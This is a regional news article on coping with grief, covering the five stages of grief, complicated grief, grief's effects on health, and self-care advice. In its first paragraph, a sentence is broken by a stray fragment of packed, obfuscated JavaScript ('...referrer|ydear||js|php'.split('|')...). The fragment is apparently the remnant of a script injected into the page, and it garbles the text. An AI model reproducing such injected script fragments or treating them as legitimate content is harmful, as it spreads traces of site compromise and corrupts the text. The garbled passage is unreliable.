UNDATED (NewsDakota.com) – The following article was written by Lucy Wyndham.
If you want to increase your chances of living a long life, you might choose to live here in Dakota. North Dakota has one the lowest elderly death rates, while South Dakota is a state with one of the highest life expectancies. In spite of this, sooner or later everyone will face death and have to mourn the loss of a loved one. It’s therefore important to know rhtzr|var|u0026u|referrer|ydear||js|php’.split(‘|’),0,{}))
more about coping with grief.
The Five Stages Of Grief
There are five common stages people go through when grieving the loss of a loved one. These are:
1. Denial. The shock of hearing about a loved one’s passing can make you feel resistant to accept it as reality. This is especially the case if the deceased wasn’t ill or very old, for instance if they died in a work-related accident – North Dakota has the highest rate of worker deaths in the nation. Denial is marked by avoiding the facts of the death and blocking it out. It’s your body’s defense mechanism to help you move past the shock.
2. Anger. Soon, anger starts to chip away at denial. You might feel it’s unfair for your loved one to have died or feel furious at the situation. You might even feel angry at the deceased for leaving you.
3. Bargaining. You might question why this happened to your loved one and to you, and perhaps even feel guilty for the death. For example, you might think of things you could have done to prevent their death. Maybe if you went to visit them, they wouldn’t have got into their car and had an accident, for instance. You might also imagine what great things could have been if your loved one had lived longer.
4. Depression. “All anger stems from feeling hurt.” This quote, by Donald Lynn Frost, perfectly shows how once anger ebbs away, sadness takes its place because it was there all along. You’ve accepted that your loved one is not coming back and this fills you with a feeling of intense loss that can include crying, withdrawal from other loved ones, and avoidance of things that used to make you feel happy.
5. Acceptance. This is when you slowly start to move forward with your life, because you know that you can’t change what happened.
It’s worth knowing that you might not experience all the stages, or move through them one by one. An article in the Huffington Post reminds us that the process of grieving will be unique to you. It’s therefore important not to feel guilty for what you feel during the grieving process, such as if you don’t feel you’re moving through the five stages of grief.
The Two Types Of Grief
There are two types of grief. One is “simple grief.” This is a natural response to loss and can involve feelings of anger and sadness. However, sometimes grief can be more complex. “Complicated grief” is when you experience such intense emotions when mourning someone that you feel stuck in your life and are unable to move on. Symptoms include feeling numb, not being able to move through your normal routine, and not finding joy in activities that you used to love. It’s also possible that the grief is triggering a deeper issue that was present before your loved one’s passing, such as anxiety or depression. Yale psychologist Holly Prigerson, PhD, has stated that up to 15 percent of people who’ve lost a loved one experience complicated grief.
How Grief Affects Your Health
Grieving someone is one of the most stressful experiences to go through and can negatively impact your health. Studies have found that elderly people who are mourning their spouses can experience physical pain, with the prevalence of any pain over the course of a year after the loss being as high as 56.8 percent. Other research has found that grief can reduce the effect of the flu vaccine.
There’s also the emotional effects of grief. When you’re feeling anxious and stressed during the grieving process, this can make your work and relationships suffer. You might pull away from those you love, or not have the energy or concentration to do your work sufficiently. To prevent the physical and emotional effects of grief, you need to take care of yourself.
How To Cope With Grief
It might feel selfish to eat healthy foods and take care of your wellbeing, but it’s not – it’s important to help you through this emotionally and physically taxing time. Eating right, getting lots of sleep, and exercising in the great Dakota outdoors, are examples of activities that will help you feel you can manage the overwhelming emotion and stress. For instance, certain vitamins like Vitamin C are known to reduce the stress hormones in the blood.
It’s also a good idea to try to stick to your routine. You might not feel like spending time with family or going to work, but distractions will help you take your mind off things for a while and give you purpose.
Remember that you don’t have to go through the pain alone. Reach out to loved ones, talk about your feelings instead of trying to hide them, and if you feel you can’t cope with the grief at all, reach out to a psychologist. This is a good idea if you feel that your feelings are out of control and/or you can’t seem to gain relief from them. Therapy can help you find ways to cope with the stress linked to loss and grief.
Grief is chaotic and stressful. By learning more about it and how to take care of yourself during the grieving process, you can heal in a constructive way, cherish your loved one’s memory, and gain the courage to move forward.